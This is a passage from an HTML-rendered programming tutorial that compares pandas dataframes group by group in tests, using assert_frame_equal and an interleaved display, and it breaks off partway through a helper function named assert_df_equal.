&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="comparing-group-by-group"&gt;Comparing group-by-group&lt;/h2&gt;
&lt;p&gt;Instead of comparing row by row we could group the rows under some key and compare then each row &lt;strong&gt;within each group&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;group_by&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;obtained_g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dropna&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expected_g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dropna&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The intuition is that we will get fewer differences between groups and possibly more meaningful.&lt;/p&gt;
&lt;p&gt;Here we get which groups do we have in common:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;obtained_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;obtained_g&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expected_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;expected_g&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;common_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obtained_group_names&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;expected_group_names&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;common_group_names&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;physics&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bob&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;charlie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now for each group we compare them using &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected_g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_like&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;100.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now it is clear that Alice got a grade of 3 in her Math class but it was expected to get a 5.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBwZC5jb25jYXRgIHdpbGwgcHV0IHRoZSByb3dzIG9mIG9uZSBkYXRhZnJhbWUgYWZ0ZXIgdGhlIHJvd3Mgb2YgdGhlCm90aGVyICpwcmVzZXJ2aW5nKiB0aGVpciBvcmlnaW5hbCBpbmRleGVzLgoKU29ydGluZyBieSBpbmRleCB0aGVuIHdpbGwKbWFrZSB0aGUgZmlyc3Qgcm93IG9mIHRoZSBleHBlY3RlZCBhcHBlYXIgYWZ0ZXIgdGhlIGZpcnN0IHJvdyBvZiB0aGUKb2J0YWluZWQsIHRoZSBzZWNvbmQgcm93IG9mIHRoZSBleHBlY3RlZCBhcHBlYXIgYWZ0ZXIgdGhlIHNlY29uZCByb3cgb2YKdGhlIG9idGFpbmVkIGFuZCBzbyBvbi4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBwZC5jb25jYXRgIHdpbGwgcHV0IHRoZSByb3dzIG9mIG9uZSBkYXRhZnJhbWUgYWZ0ZXIgdGhlIHJvd3Mgb2YgdGhlCm90aGVyICpwcmVzZXJ2aW5nKiB0aGVpciBvcmlnaW5hbCBpbmRleGVzLgoKU29ydGluZyBieSBpbmRleCB0aGVuIHdpbGwKbWFrZSB0aGUgZmlyc3Qgcm93IG9mIHRoZSBleHBlY3RlZCBhcHBlYXIgYWZ0ZXIgdGhlIGZpcnN0IHJvdyBvZiB0aGUKb2J0YWluZWQsIHRoZSBzZWNvbmQgcm93IG9mIHRoZSBleHBlY3RlZCBhcHBlYXIgYWZ0ZXIgdGhlIHNlY29uZCByb3cgb2YKdGhlIG9idGFpbmVkIGFuZCBzbyBvbi4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;concat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will put the rows of one dataframe after the rows of the other &lt;em&gt;preserving&lt;/em&gt; their original indexes.
&lt;br /&gt;&lt;br /&gt;
Sorting by index then will make the first row of the expected appear after the first row of the obtained, the second row of the expected appear after the second row of the obtained and so on.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We could pretty print the group &lt;em&gt;interleaving the rows&lt;/em&gt; of the obtained and expected dataframes so we can compare them line by line:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;obtained&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;expected&amp;quot;&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;merged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_index&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;merged&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="n"&gt;subject&lt;/span&gt;  &lt;span class="n"&gt;grade&lt;/span&gt;        &lt;span class="n"&gt;DF&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="n"&gt;alice&lt;/span&gt;    &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="n"&gt;alice&lt;/span&gt;    &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Much better!&lt;/p&gt;
&lt;h2 id="putting-all-this-together"&gt;Putting all this together&lt;/h2&gt;
&lt;p&gt;The plan is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;group by some columns to compare smaller groups&lt;/li&gt;
&lt;li&gt;sort the rows of each group to make the comparison order-insensitive.&lt;/li&gt;
&lt;li&gt;call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; on each &lt;em&gt;common&lt;/em&gt; group and add the differences found to the list of differences.&lt;/li&gt;
&lt;li&gt;add to the list any &lt;em&gt;unexpected&lt;/em&gt; and &lt;em&gt;missing&lt;/em&gt; group&lt;/li&gt;
&lt;li&gt;if the list is not empty, raise &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;label for='ClVwZGF0ZWQgdmVyc2lvbjogPGEgaHJlZj0iL2Fzc2V0cy9weXRob24vZGF0YWZyYW1lcy90ZXN0aW5nL2Fzc2VydF9kZl9lcXVhbC5weSI+PHNwYW4gc3R5bGU9IndoaXRlLXNwYWNlOiBub3dyYXA7Ij48aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiZuYnNwO2NvZGU8L3NwYW4+PC9hPgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClVwZGF0ZWQgdmVyc2lvbjogPGEgaHJlZj0iL2Fzc2V0cy9weXRob24vZGF0YWZyYW1lcy90ZXN0aW5nL2Fzc2VydF9kZl9lcXVhbC5weSI+PHNwYW4gc3R5bGU9IndoaXRlLXNwYWNlOiBub3dyYXA7Ij48aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiZuYnNwO2NvZGU8L3NwYW4+PC9hPgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Updated version: &lt;a href="/assets/python/dataframes/testing/assert_df_equal.py"&gt;&lt;span style="white-space: nowrap;"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is the code:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;assert_df_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rtol&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1e-5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;atol&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1e-8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to_string_kwargs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{}):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;diffs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# See the whole dataframe as the single group in case of&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# the user don&amp;#39;t wanting to group the rows&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;singleton_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;group_by&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;singleton_group&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;singleton_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;obtained_g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dropna&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;expected_g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dropna&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;obtained_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;obtained_g&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;expected_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;expected_g&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;common_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obtained_group_names&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;expected_group_names&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;unexpected_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obtained_group_names&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;expected_group_names&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;missing_group_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;expected_group_names&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;obtained_group_names&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# Check if we have unexpected groups or missing groups.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# These are groups that cannot be compared with any other row&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# in the opposite dataframes and therefore they are straight&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# differences by definition&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unexpected_group_names&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
